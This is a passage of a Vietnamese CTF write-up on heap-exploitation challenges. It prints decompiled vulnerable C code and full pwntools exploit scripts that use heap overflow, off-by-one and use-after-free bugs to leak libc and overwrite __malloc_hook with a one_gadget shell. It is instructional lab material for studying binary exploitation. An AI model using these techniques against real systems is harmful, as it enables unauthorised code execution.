UserTransaction = (_QWORD *)*UserTransaction;
UserPtr[1] = 0LL;
*UserPtr = 0LL;
free(UserPtr);
}
free(UserTransaction);
}
else
{
puts("[-] No transaction");
}
free(deletedUser);
*(&Users + v2) = 0LL;
return 0LL;
}
```
Hàm sẽ xóa username, password rồi đến các transaction mà user ấy đã tham gia vào. Sau khi xóa xong, nó xóa con trỏ trỏ tới địa chỉ ấy. Hàm **deleteTransaction()** được cho như sau:
```c=
__int64 __fastcall deleteTransaction(__int64 Transaction1, int Transaction_id)
{
_QWORD *Trans_chunk; // [rsp+10h] [rbp-10h]
_QWORD *v4; // [rsp+18h] [rbp-8h]
if ( *(_QWORD *)(Transaction1 + 24) )
{
v4 = 0LL;
for ( Trans_chunk = *(_QWORD **)(Transaction1 + 24);
Trans_chunk[2] != Transaction_id;
Trans_chunk = (_QWORD *)*Trans_chunk )
{
if ( !*Trans_chunk )
return 1LL;
v4 = Trans_chunk;
}
if ( v4 )
*v4 = *Trans_chunk;
else
*(_QWORD *)(Transaction1 + 24) = *Trans_chunk;
free(Trans_chunk);
return 0LL;
}
else
{
puts("[-] No transaction");
return 1LL;
}
}
```
Hàm sẽ chạy đến vị trí mà có id trùng với Transaction id và free chúng.
### 4. part2/heap4/pwn4_ul
Challenge heap 4 vẫn có cấu trúc khá giống với heap 1 và heap 2

Decompile bằng IDA. Bắt đầu với hàm **createHeap()**
```c=
__int64 createHeap()
{
signed int Int; // [rsp+8h] [rbp-8h]
unsigned int size; // [rsp+Ch] [rbp-4h]
printf("Index:");
Int = readInt();
if ( (unsigned int)Int >= 0xA )
exit(0);
if ( *(&store + Int) )
return 0LL;
printf("Input size:");
size = readInt();
if ( size > 0x1000 )
exit(0);
*(&store + Int) = calloc(size, 1uLL);
storeSize[Int] = size;
printf("Input data:");
readStr(*(&store + Int), size);
puts("Done");
return 0LL;
}
```
Ngoại trừ điểm khác với 2 challenge 1 và 2 thì challenge 4 lại dùng **calloc()** để allocate chunk.
:::info
Điểm khác biệt giữa malloc() và calloc() là malloc không khởi tạo giá trị cho bộ nhớ được cấp phát, nó sẽ chứa giá trị rác nào đó, còn calloc sẽ khởi tạo giá trị 0 cho bộ nhớ cấp phát.
:::
Sang hàm **showHeap()**
```c=
__int64 showHeap()
{
signed int Int; // [rsp+Ch] [rbp-4h]
printf("Index:");
Int = readInt();
if ( (unsigned int)Int >= 0xA )
exit(0);
if ( *(&store + Int) )
printf("Data = %s\n", (const char *)*(&store + Int));
return 0LL;
}
```
Khá là giống với các challenge trước, chỉ khác là nó check xem ở index đó đã có chunk nào được cấp phát chưa.
Hàm **editHeap()** có điểm đáng chú ý:
```c=
__int64 editHeap()
{
signed int Int; // [rsp+8h] [rbp-28h]
unsigned int v2; // [rsp+Ch] [rbp-24h]
char s1[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Input index:");
Int = readInt();
if ( (unsigned int)Int >= 0xA )
exit(0);
if ( !*(&store + Int) )
return 0LL;
printf("Input newsize:");
v2 = readInt();
if ( storeSize[Int] < v2 )
storeSize[Int] = v2;
puts("Do you want to change data (y/n)?");
readStr(s1, 10LL);
if ( !strcmp(s1, "y") )
{
printf("Input data:");
readStr(*(&store + Int), (unsigned int)storeSize[Int]);
}
puts("Done ");
return 0LL;
}
```
Hàm **editHeap()** cho phép ta điều chỉnh cả size của chunk cũ. Nhưng hàm này có lỗi ở ở chỗ sau khi đọc dữ liệu, nó lại không check giới hạn của new chunk. Vậy ở đây ta sẽ có lỗi Heap Overflow.
Hàm **deleteHeap()**
```c=
__int64 deleteHeap()
{
signed int Int; // [rsp+Ch] [rbp-4h]
printf("Input index:");
Int = readInt();
if ( (unsigned int)Int >= 0xA )
exit(0);
if ( *(&store + Int) )
{
free(*(&store + Int));
*(&store + Int) = 0LL;
puts("Done ");
}
return 0LL;
}
```
Việc xóa chunk ở đây thêm 1 bước nữa là set 0 cho pointer trỏ đến chunk xóa. Cách này là một cách ngăn ngừa các cuộc tấn công sử dụng các bug như Use-After-Free.
#### Leak địa chỉ libc.
Với cách tiếp cận tương tự các challenge trước, mình sẽ cố gắng leak địa chỉ libc.
Bởi vì chunk pointer bị set thành 0 sau khi được free, nên ta không thể sử dụng để hiển thị data của freed chunk. Nhưng vì có lỗi Heap Overflow, ta có thể ghi đè lên dữ liệu của freed chunk.
Mình sẽ sử dụng Unsorted Bin để leak địa chỉ libc. Bởi vì Unsorted Bin cũng gần giống với Fastbin, nhưng nó sử dụng danh sách liên kết kép, nên sẽ có 2 con trỏ **fwd** và **bk** trỏ tới địa chỉ **main_arena**.
Trước tiên ta sẽ allocate 3 chunks
```c=
create_heap(0, 50, b'A')
create_heap(1, 300, b'A')
create_heap(2, 20, b'A')
```
Chunk 0 sẽ dùng để chỉnh sửa ghi đè dữ liệu, chunk thứ 1 sẽ chứa địa chỉ leak, chunk thứ 2 sẽ dùng để ngăn ngừa bị merge với top chunk khi ta delete chunk 1
Giờ ta sẽ delete chunk 1 và edit chunk 0
```c=
delete_heap(1)
edit_heap(0, 64, b'A'*64)
show_heap(0)
```
Kích thước 64 là do mình điều chỉnh offset so với kích thước các chunk mình khởi tạo ban đầu, padding có thể khác nhau với các kích thước khởi tạo khác nhau
Kiểm tra bằng gdb:
Trước khi overwrite:


Kiểm tra offset để xem kích thước padding phù hợp:

Sau khi overwrite:

Vậy giờ ta chỉ cần show data của chunk 0 và lấy ra địa chỉ libc leak ra
```c=
libc_leak = r.recv(77)
libc_leak = libc_leak[::-1]
libc_leak = libc_leak[:6]
libc_leak = u64(libc_leak[::-1] + b'\0\0')
```
77 bytes received bao gồm: 64 bytes padding, 7 bytes từ câu **'Data = '** và 6 bytes leak.
Kết quả:

Giờ ta có thể tính offset giữa địa chỉ leak và địa chỉ libc base:

#### Fastbin Attack
Mình cũng sẽ thử cách tiếp cận cũ với bài này. Bởi vì không có UAF ở đây, ta không thể chỉnh sửa freed chunk bằng hàm **editHeap()**, thay vào đó, ta có thể free chunk cuối cùng (Fastbin sử dụng cơ chế LIFO) và sử dụng chunk gần cuối, overwrite giá trị của con trỏ chunk cuối cùng với địa chỉ fake chunk là ta đã đưa về được như bài heap 2.
Có một điều cần lưu ý, bởi vì trước đó ta đã overwrite chunk để leak địa chỉ libc, ta cần build lại heap để phục vụ cho lần malloc tiếp theo, cũng bởi vì do các chunk có thể lưu giữ địa chỉ của các chunk kế tiếp, nên nếu địa chỉ không phù hợp, nó sẽ báo lỗi memory corruption:

Để đưa heap về trạng thái trước khi overwrite để leak libc, ta sử dụng:
```c
edit_heap(0, 64, b'A' + b'\x00'*55 + b'\x41'+b'\x01' + b'\x00'*6)
```
Cách thức làm là chỉ cần check xem chunk lúc trước có trạng thái như nào, thêm các bytes phù hợp và điều chỉnh, thêm bớt. Như ở trên, trạng thái chunk trước khi overwrite như sau:

Sau khi build lại heap, giờ ta chỉ cần làm như trước trong heap 2 ta đã làm:
```c=
for i in range(3,7):
create_heap(i, 100, b'A')
delete_heap(6)
edit_heap(5, 120, b'A'*104 + b'\x70' + b'\0'*7 + p64(libc.sym['__malloc_hook'] - 35))
```
Lý do ta cần payload cho phần **editHeap()** là bởi vì như sau:
- Phần **0x70** và bytes 0 sẽ dùng để xác định **kích thước chunk trước đó của chunk mà ta ghi đè** (chính là chunk 7 mà sau đó ta allocate), 8 bytes cho phần fake chunk có chứa **__malloc_hook** (cách tìm địa chỉ tương tự như heap2) và 104 bytes padding cho đủ kích thước 120 bytes.
Trường hợp nếu không có phần payload, fastbin sẽ kiểu như sau:

Nên bytes **0x70** sẽ thay thế cho cái size ở kia, làm cho nó phù hợp với fastbin index.
Sau khi ghi đè địa chỉ **__malloc_hook**:


Giờ ta chỉ cần ghi đè one gadget lên **__malloc_hook**
#### Ghi đè __malloc_hook
Kiểm tra các gadget có thể sử dụng

Vì khá lười check điều kiện của các thanh ghi, nên mình đã thử từng cái một và có được one gadget phù hợp là **0xd5b07**. Giờ chỉ việc ghi đè lên
```c=
create_heap(7, 100, b'AA')
create_heap(8, 100, b'A'*19 + p64(libc.address + oneG_offset))
```
#### Source
```c=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn4_ul_patched")
libc = ELF("./libc6-amd64_2.23-0ubuntu11.3_i386.so")
ld = ELF("./ld-2.23.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
def create_heap(index, size, data):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Index', str(index).encode())
r.sendlineafter(b'size:', str(size).encode())
r.sendlineafter(b'data:', data)
def show_heap(index):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'Index:', str(index).encode())
def edit_heap(index, newsize, data):
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'index:', str(index).encode())
r.sendlineafter(b'newsize:', str(newsize).encode())
r.recvline()
r.sendline(b'y')
r.sendlineafter(b'data:', data)
def delete_heap(index):
r.sendlineafter(b'>', b'4')
r.sendlineafter(b'index:', str(index).encode())
input()
# good luck pwning :)
# Leak dia chi libc
# Tao 3 chunk va free chunnk thu 2. Chunk dau tien de ngan khong bi merge voi top chunk khi free
# Chunk thu 3 de overflow lay du lieu
create_heap(0, 50, b'A')
create_heap(1, 300, b'A')
create_heap(2, 20, b'A')
delete_heap(1)
# pause()
edit_heap(0, 64, b'A'*64)
show_heap(0)
# pause()
libc_leak = r.recv(77) # 64 bytes padding + 7 bytes nhan tu bytes 'Data = ' + 6 bytes leak ra
libc_leak = libc_leak[::-1]
libc_leak = libc_leak[:6]
libc_leak = u64(libc_leak[::-1] + b'\0\0')
info("Libc leak: " + hex(libc_leak))
libc.address = libc_leak - 0x39bb78
info("Libc address: " + hex(libc.address))
info("Malloc hook: " + hex(libc.sym['__malloc_hook']))
# Fix the heap
edit_heap(0, 64, b'A' + b'\x00'*55 + b'\x41'+b'\x01' + b'\x00'*6)
# Fastbin attack
for i in range(3,7):
create_heap(i, 100, b'A')
delete_heap(6)
# pause()
# Cho con tro tro fd tro toi __malloc_hook bang cach overflow len con tro
edit_heap(5, 120, b'A'*104 + b'\x70' + b'\0'*7 +p64(libc.sym['__malloc_hook'] - 35))
pause()
# Ghi de __malloc_hook
oneG_offset = 0xd5b07
create_heap(7, 100, b'AA')
# pause()
create_heap(8, 100, b'A'*19 + p64(libc.address + oneG_offset))
# pause()
# Trigger __malloc_hook
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Index:', b'9')
r.sendlineafter(b'size:', b'100')
r.interactive()
if __name__ == "__main__":
main()
```
Kết quả:

### 5. part2/heap5/pwn5_null
Ta vẫn sẽ có một menu tương tự như các challenge 1,2,4 nên mình sẽ tóm tắt qua và tập trung vào những điểm khác biệt
- Ở hàm **createHeap()** dùng **calloc()** để allocate, giống như challenge ở heap4. Nhưng hàm **readStr()** lại có điểm hơi khác so với heap4:
Ở heap5:
```c=
__int64 __fastcall readSTr(void *a1, unsigned int a2)
{
int v3; // [rsp+1Ch] [rbp-4h]
v3 = read(0, a1, a2);
if ( v3 < 0 )
exit(0);
*((_BYTE *)a1 + v3) = 0;
return (unsigned int)v3;
}
```
Ở heap4 và các heap trước:
```c=
__int64 __fastcall readStr(void *a1, unsigned int a2)
{
int v3; // [rsp+1Ch] [rbp-4h]
v3 = read(0, a1, a2);
if ( v3 < 0 )
exit(0);
if ( *((_BYTE *)a1 + v3 - 1) == 10 )
*((_BYTE *)a1 + v3 - 1) = 0;
return (unsigned int)v3;
}
```
Ở các heap trước, việc thay kí tự cuối cùng bằng byte null độc lập với kích thước của chuỗi **(a1 + v3 -1)** - là kí tự cuối cùng được giới hạn bởi kích thước chuỗi. Nhưng ở heap5, chương trình tự động thêm bytes null ở cuối chuỗi, dù nó không nằm trong giới hạn của chuỗi (ví dụ như chuỗi có 5 kí tự nhưng thực chất là 6 do thêm kí tự null ở cuối). Điều này gây ra 1 bug là [**Off-by-one**](https://book.hacktricks.xyz/binary-exploitation/libc-heap/off-by-one-overflow)
:::info
Lỗi Off-by-one là một loại overflow đặc biệt. Như tên gọi, nó overflow chỉ 1 byte, có thể là bất kì byte nào tùy vào chương trình.
:::
- Hàm **editHeap()** có vài điểm khác biệt:
```c=
__int64 editHeap()
{
unsigned int Int; // [rsp+4h] [rbp-1Ch]
unsigned int size; // [rsp+8h] [rbp-18h]
char size_6[10]; // [rsp+Eh] [rbp-12h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Input index:");
Int = readInt();
if ( Int >= 0xA )
exit(0);
if ( !store[Int] )
return 0LL;
printf("Input newsize:");
size = readInt();
if ( size > storeSize[Int] )
{
free((void *)store[Int]);
store[Int] = malloc(size);
storeSize[Int] = size;
}
puts("Do you want to change data (y/n)?");
readStr(size_6, 10LL);
if ( !strcmp(size_6, "y") )
{
printf("Input data:");
readSTr(store[Int], (unsigned int)storeSize[Int]);
}
puts("Done ");
return 0LL;
}
```
Tuy rằng hàm cho nhập vào không giới hạn kích thước, nhưng nó lại malloc đúng bằng ngần đó nên không có lỗi heap overflow ở đây.
- Các hàm còn lại không có khác biệt gì so với heap4
#### Leak địa chỉ libc base.
Đầu tiên ta vẫn sẽ cố gắng leak địa chỉ libc base.
Ở [link](https://book.hacktricks.xyz/binary-exploitation/libc-heap/off-by-one-overflow) phần **Off-by-one** bên trên mình có gửi có giải thích về cách sử dụng bug này.
:::info
Tóm tắt lại:
- Ta sẽ thay đổi phần metadata của chunk nào đó, làm thay đổi phần **prev-size** hoặc là byte flag, thay đổi nó thành **prev-inuse** hoặc đã được free
- Sau khi thay đổi metadata, nếu ta malloc 1 chunk có kích thước bằng phần **prev-size**, nó sẽ đè lên phần chunk nào đó, làm lộ data hoặc ghi những thông tin không an toàn vào đó.
:::
Ý tưởng ở bài này là đầu tiên, vẫn sẽ allocate 1 chunk vào unsorted bin để leak địa chỉ libc (mình không dùng fastbin dù nó cũng leak địa chỉ libc vì mình không muốn ảnh hưởng đến các phần sau của bài do khi ghi đè **__malloc_hook** cũng dùng fastbin). Khi chunk đó được free, ta cần 2 chunk khác, 1 chunk dùng để "đè" lên data của chunk thứ nhất, 1 chunk còn lại sẽ dùng để "nối" chunk thứ nhất lại.
Để mô hình hóa ý tưởng, bạn có thể xem sơ đồ sau:

Khi đó ta chỉ cần làm cho địa chỉ libc leak ra chèn lên data của B, thì khi in ra data của B, ta sẽ có được địa chỉ libc.
Cách làm ta sẽ làm như sau:
- Đầu tiên ta sẽ allocate 3 chunk A, B, C.
- Ta sẽ dùng chunk B để overflow phần **prev-size** và **prev-inuse** của chunk C với **prev-size** sẽ bằng **sizeA + sizeB**, còn phần **prev-inuse** sẽ thay từ byte 1 thành byte 0 (do byte 0 sẽ được thêm vào cuối chuỗi data được thay đổi). Khi đó chunk C sẽ hiểu rằng chunk trước nó sẽ có kích thước **sizeA + sizeB**, và nó đã được free. Theo cơ chế hợp nhất chunk, khi C được free, nó sẽ merge với "chunk ảo" mà ta đã tạo ra, làm cho chunk B sẽ bị "**đè** lên.
- Sau đó, ta chỉ cần allocate 1 chunk mới (gọi là D) bằng với kích thước của chunk A ban đầu. Khi đó data của A(lúc đó sẽ là địa chỉ libc leak) sẽ bị đẩy xuống phần data của B.
Allocate 3 chunk A,B,C, sau đó free A để tạo địa chỉ libc leak.

Phần địa chỉ của chunk B sẽ bắt đầu từ **0x...c110**, còn chunk C sẽ là **0x...c140**. Như đã thấy, chunk C sẽ có byte flag là 1.
Tiếp theo là thay đổi metadata của chunk C. Trong trường hợp này kích thước của A và B sẽ là 0x100 + 0x30 = 0x130.

Giờ byte flag đã chuyển thành công. Free chunk C:

Giờ chunk C sẽ có kích thước là 0x230, địa chỉ cũng thay đổi thành địa chỉ của chunk A. Ta có thể kiểm tra heap bins

Vậy là giờ chunk B đã bị **đè**
Giờ chỉ cần allocate 1 chunk mới để đẩy phần leak xuống phần data của B:

Giờ thì chỉ cần dùng hàm **showHeap()** để in ra và ta đã có địa chỉ libc leak, từ đó tính được libc base.
#### Fastbin attack và ghi đè one gadget lên malloc hook.
Giờ ta đã có địa chỉ libc, các bước tiếp theo tương tự như các bài heap trước, chỉ là trong quá trình mình allocate chunk để đưa vào fastbin, có vẻ nó sẽ dùng chunk B để allocate. Chắc là chương trình vẫn hiểu rằng trước đó, chunk free có kích thước là A + B + C vì ta đã merge chunk A và C, sau đó allocate chunk D bằng kích thước chunk A ban đầu nên phần free vẫn còn là B + C.
#### Source.
```c=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn5_null_patched")
libc = ELF("./libc6-amd64_2.23-0ubuntu11.3_i386.so")
ld = ELF("./ld-2.23.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
# good luck pwning :)
def createHeap(index, size, data):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Index:', str(index).encode())
r.sendlineafter(b'size:', str(size).encode())
r.sendlineafter(b'data:', data)
def showHeap(index):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'Index:', str(index).encode())
def editHeap(index, newsize,data):
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'index:', str(index).encode())
r.sendlineafter(b'newsize:', str(newsize).encode())
r.recvline()
r.sendline(b'y')
r.sendafter(b'data:', data)
def deleteHeap(index):
r.sendlineafter(b'>',b'4')
r.sendlineafter(b'index', str(index).encode())
input()
createHeap(0, 248, b'A')
createHeap(1, 40, b'A')
createHeap(2, 248, b'A')
createHeap(3, 20, b'A') # Avoid top chunk consolidation
# pause()
deleteHeap(0)
# pause()
editHeap(1, 40, b'\0'*32 + p64(0x130))
# pause()
deleteHeap(2)
# pause()
createHeap(2, 248, b'AAAAA')
# pause()
showHeap(1)
r.recvuntil(b'Data = ')
libc_leak = u64(r.recv(6) + b'\0\0')
libc.address = libc_leak - 0x39bb78
info("libc_leak: " + hex(libc_leak))
info("libc base address: " + hex(libc.address))
malloc_hook = libc.sym['__malloc_hook']
info("libc free hook address: " + hex(malloc_hook))
# pause()
# Cho con tro tro den malloc_hook
# for i in range(4, 7):
# createHeap(i, 100, b'A')
# editHeap(6, 100, p64(malloc_hook - 35))
# createHeap(4, 100, b'This is heap 4')
# pause()
createHeap(4, 100, b'A')
deleteHeap(4)
editHeap(1, 20, p64(malloc_hook - 35))
# pause()
one_gadget = 0xd5b07
createHeap(5, 100, b'A')
createHeap(6, 100, b'A' * 19 + p64(libc.address + one_gadget))
# Ghi de malloc_hook
# pause()
# createHeap(7, 100, b'AA')
#createHeap(6, 100, b'A'*19 + p64(libc.address + one_gadget))
# pause()
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'index:', b'1')
r.sendlineafter(b'size', b'50')
# pause()
r.interactive()
if __name__ == "__main__":
main()
```
Kết quả:

### part2/heap6/pwn6_hoo
Challenge heap6 cũng cho ta một menu **"Ez heap challenge!"** nên mình sẽ chỉ phân tích những điểm khác biệt và bug.
Đầu tiên là về libc được sử dụng ở phiên bản này, là bản libc 2.28. Nó làm mình nhớ tới tcache bin vì từ phiên bản 2.26 trở lên, tcache bin được thêm vào.
Ở hàm **createHeap()**, thay vì giới hạn **0x1000** như các challenge trước, nó chỉ cho ta tối đa **0x80 bytes** cho mỗi chunk:
```c=
__int64 createHeap()
{
unsigned int size_4; // [rsp+Ch] [rbp-4h]
printf("Index:");
size_4 = readInt();
if ( size_4 >= 0xA )
exit(0);
store[size_4] = malloc(0x80uLL);
storeSize[size_4] = 128;
printf("Input data:");
readStr((void *)store[size_4], 0x80u);
puts("Done");
return 0LL;
}
```
Ở hàm **deleteHeap()**, chương trình không có xóa đi con trỏ chunk nên ta có lỗi Use-After-Free ở đây.
```c=
__int64 deleteHeap()
{
unsigned int Int; // [rsp+Ch] [rbp-4h]
printf("Input index:");
Int = readInt();
if ( Int >= 0xA )
exit(0);
if ( store[Int] )
{
free((void *)store[Int]);
puts("Done ");
}
return 0LL;
}
```
Các hàm khác không có lỗi Overflow hay là lỗi nào khác.
Giờ có lỗi Use-After-Free, cách làm tương tự như heap2, chỉ khác là ta cần đưa freed chunk vào unsorted bin để có thể leak được địa chỉ libc. Vì mỗi index của tcache bin chỉ có thể chứa được tối đa 7 chunk cùng size, nên ta sẽ malloc 9 chunk, chunk cuối dùng để ngăn không bị merge với top chunk. Còn chunk thứ 8 sẽ là chunk đưa vào unsorted bin.
#### Source.
Do mình không thể tìm được ubuntu libc 2.28 nào có symbol **__malloc_hook** nên mình sẽ dùng của bản **libc6-amd64_2.27-3ubuntu1.5_i386**. Bạn có thể download ở [đây](https://libc.rip/download/libc6-amd64_2.27-3ubuntu1.5_i386.so)
Script:
```c=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn6_hoo_patched")
libc = ELF("./libc6-amd64_2.27-3ubuntu1.5_i386.so")
ld = ELF("./ld-2.27.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
# good luck pwning :)
def createHeap(index, data):
r.sendlineafter(b'>\n', b'1')
r.sendlineafter(b'Index:', str(index).encode())
r.sendlineafter(b'data:', data)
def showHeap(index):
r.sendlineafter(b'>\n', b'2')
r.sendlineafter(b'Index:', str(index).encode())
def editHeap(index, data):
r.sendlineafter(b'>\n', b'3')
r.sendlineafter(b'index:', str(index).encode())
r.send(data)
def deleteHeap(index):
r.sendlineafter(b'>\n', b'4')
r.sendlineafter(b'index', str(index).encode())
input()
# createHeap(0, b'AAA')
# deleteHeap(0)
for i in range(0, 9):
createHeap(i, b'A')
for i in range(0, 8):
deleteHeap(i)
# pause()
showHeap(7)
r.recvuntil(b'Data = ')
libc_leak = u64(r.recv(6) + b'\0\0')
libc.address = libc_leak - 0x3b4ca0
malloc_hook = libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
info("Libc leak address: " + hex(libc_leak))
info("Libc base address: " + hex(libc.address))
info("Malloc hook address: " + hex(malloc_hook))
# pause()
editHeap(6, p64(malloc_hook))
one_gadget = 0xe30be
createHeap(0,b'AAAA')
createHeap(1, p64(libc.address + one_gadget))
# pause()
r.sendlineafter(b'>\n', b'1')
r.sendlineafter(b'Index:', b'2')
r.interactive()
if __name__ == "__main__":
main()
```
Kết quả:

### 7. notanote
Challenge cho ta 1 menu tạo và edit note

Ở hàm main ta có:

- Hàm **create_note()**:
```c=
unsigned __int64 __fastcall create_note(int a1)
{
unsigned int v2; // [rsp+18h] [rbp-428h] BYREF
unsigned int v3; // [rsp+1Ch] [rbp-424h] BYREF
void *ptr; // [rsp+20h] [rbp-420h]
char *dest; // [rsp+28h] [rbp-418h]
char s[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v7; // [rsp+438h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( note[a1] )
{
puts("Note exist!");
}
else
{
printf("Title size: ");
__isoc99_scanf("%d", &v2);
if ( v2 < 0x401 )
{
ptr = malloc((int)(v2 + 8));
v2 = (*((_QWORD *)ptr - 1) & 0xFFFFFFF0) - 16;
note[a1] = ptr;
printf("Title: ");
memset(s, 0, sizeof(s));
read_str(s, v2);
strcpy((char *)note[a1], s);
printf("Content size: ");
__isoc99_scanf("%d", &v3);
if ( v3 < 0x401 )
{
dest = (char *)malloc((int)v3);
v3 = (*((_QWORD *)dest - 1) & 0xFFFFFFF0) - 16;
*(_QWORD *)((int)v2 + note[a1]) = dest;
printf("Content: ");
memset(s, 0, sizeof(s));
read_str(s, v3);
strcpy(dest, s);
puts("Done!\n\n");
}
else
{
puts("Invalid size!");
memset(ptr, 0, (int)(v2 + 8));
free(ptr);
note[a1] = 0LL;
}
}
else
{
puts("Invalid size!");
}
}
return __readfsqword(0x28u) ^ v7;
}
```
Hàm cho tạo note với 2 phần tilte và content. Cả 2 phần đều có size tối đa là 0x401, cũng không có lỗi overflow ở đây.
Hàm **edit_note()**:
```c=
unsigned __int64 __fastcall edit_note(unsigned int a1)
{
int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( note[a1] )
{
do
{
puts("1. Edit title");
puts("2. Edit content");
puts("3. Back");
printf("> ");
__isoc99_scanf("%d", &v2);
if ( v2 == 1 )
{
edit_title(a1);
}
else if ( v2 == 2 )
{
edit_content(a1);
}
}
while ( v2 != 3 );
}
else
{
puts("Note doesn't exist!");
}
return __readfsqword(0x28u) ^ v3;
}
```
Hàm **edit_note()** cho ta chỉnh sửa 2 phần, title hoặc content.
Với phần **edit_title()**:
```c=
unsigned __int64 __fastcall edit_title(int a1)
{
unsigned int v2; // [rsp+14h] [rbp-41Ch]
char *dest; // [rsp+18h] [rbp-418h]
char s[1032]; // [rsp+20h] [rbp-410h] BYREF
unsigned __int64 v5; // [rsp+428h] [rbp-8h]
v5 = __readfsqword(0x28u);
dest = (char *)note[a1];
v2 = (*((_QWORD *)dest - 1) & 0xFFFFFFF0) - 16;
printf("New title: ");
memset(s, 0, sizeof(s));
read_str(s, v2);
strcpy(dest, s);
puts("Done!\n\n");
return __readfsqword(0x28u) ^ v5;
}
```
Hàm chỉ cho chỉnh sửa title, nhưng ở hàm **edit_content()** sau đây thì nó cho edit cả size:
```c=
unsigned __int64 __fastcall edit_content(int a1)
{
unsigned int v2; // [rsp+14h] [rbp-42Ch] BYREF
int v3; // [rsp+18h] [rbp-428h]
int v4; // [rsp+1Ch] [rbp-424h]
__int64 v5; // [rsp+20h] [rbp-420h]
void *s; // [rsp+28h] [rbp-418h]
char src[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v8; // [rsp+438h] [rbp-8h]
v8 = __readfsqword(0x28u);
printf("Content size: ");
__isoc99_scanf("%d", &v2);
if ( v2 < 0x401 )
{
v5 = note[a1];
v3 = (*(_QWORD *)(v5 - 8) & 0xFFFFFFF0) - 16;
s = *(void **)(note[a1] + v3);
v4 = (*((_QWORD *)s - 1) & 0xFFFFFFF0) - 16;
memset(s, 0, v4);
free(s);
s = malloc((int)v2);
v4 = (*((_QWORD *)s - 1) & 0xFFFFFFF0) - 16;
*(_QWORD *)(v3 + note[a1]) = s;
printf("Content: ");
memset(src, 0, sizeof(src));
read_str((__int64)src, v4);
strcpy((char *)s, src);
puts("Done!\n\n");
}
else
{
puts("Invalid size!");
}
return __readfsqword(0x28u) ^ v8;
}
```
Hàm **show_note()**:
```c=
unsigned __int64 __fastcall view_note(int a1)
{
int v2; // [rsp+18h] [rbp-428h]
char *src; // [rsp+20h] [rbp-420h]
char *v4; // [rsp+28h] [rbp-418h]
char dest[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v6; // [rsp+438h] [rbp-8h]
v6 = __readfsqword(0x28u);
if ( note[a1] )
{
src = (char *)note[a1];
v2 = (*((_QWORD *)src - 1) & 0xFFFFFFF0) - 16;
strcpy(dest, src);
printf("Title: %s\n", src);
v4 = *(char **)(note[a1] + v2);
strcpy(dest, v4);
printf("Content: %s\n", v4);
}
else
{
puts("Note doesn't exist!");
}
return __readfsqword(0x28u) ^ v6;
}
```
Nó check xem có tồn tại note không, nếu có thì in ra dữ liệu
Hàm **delete_note()**:
```c=
int __fastcall delete_note(int a1)
{
int v2; // [rsp+18h] [rbp-18h]
_QWORD *ptr; // [rsp+20h] [rbp-10h]
void *s; // [rsp+28h] [rbp-8h]
if ( !note[a1] )
return puts("Note doesn't exist!");
ptr = (_QWORD *)note[a1];
v2 = (*(ptr - 1) & 0xFFFFFFF0) - 16;
s = *(void **)((char *)ptr + v2);
memset(s, 0, (int)((*((_QWORD *)s - 1) & 0xFFFFFFF0) - 16));
free(s);
memset(ptr, 0, v2 + 8);
free(ptr);
note[a1] = 0LL;
return puts("Done!\n\n");
}
```
Hàm **delete_note()** set 0 cho cả ptr nên không có UAF ở đây.
Ngoài các hàm ở trên ra, nó còn có 1 hàm **read_function()** cho ta shell:
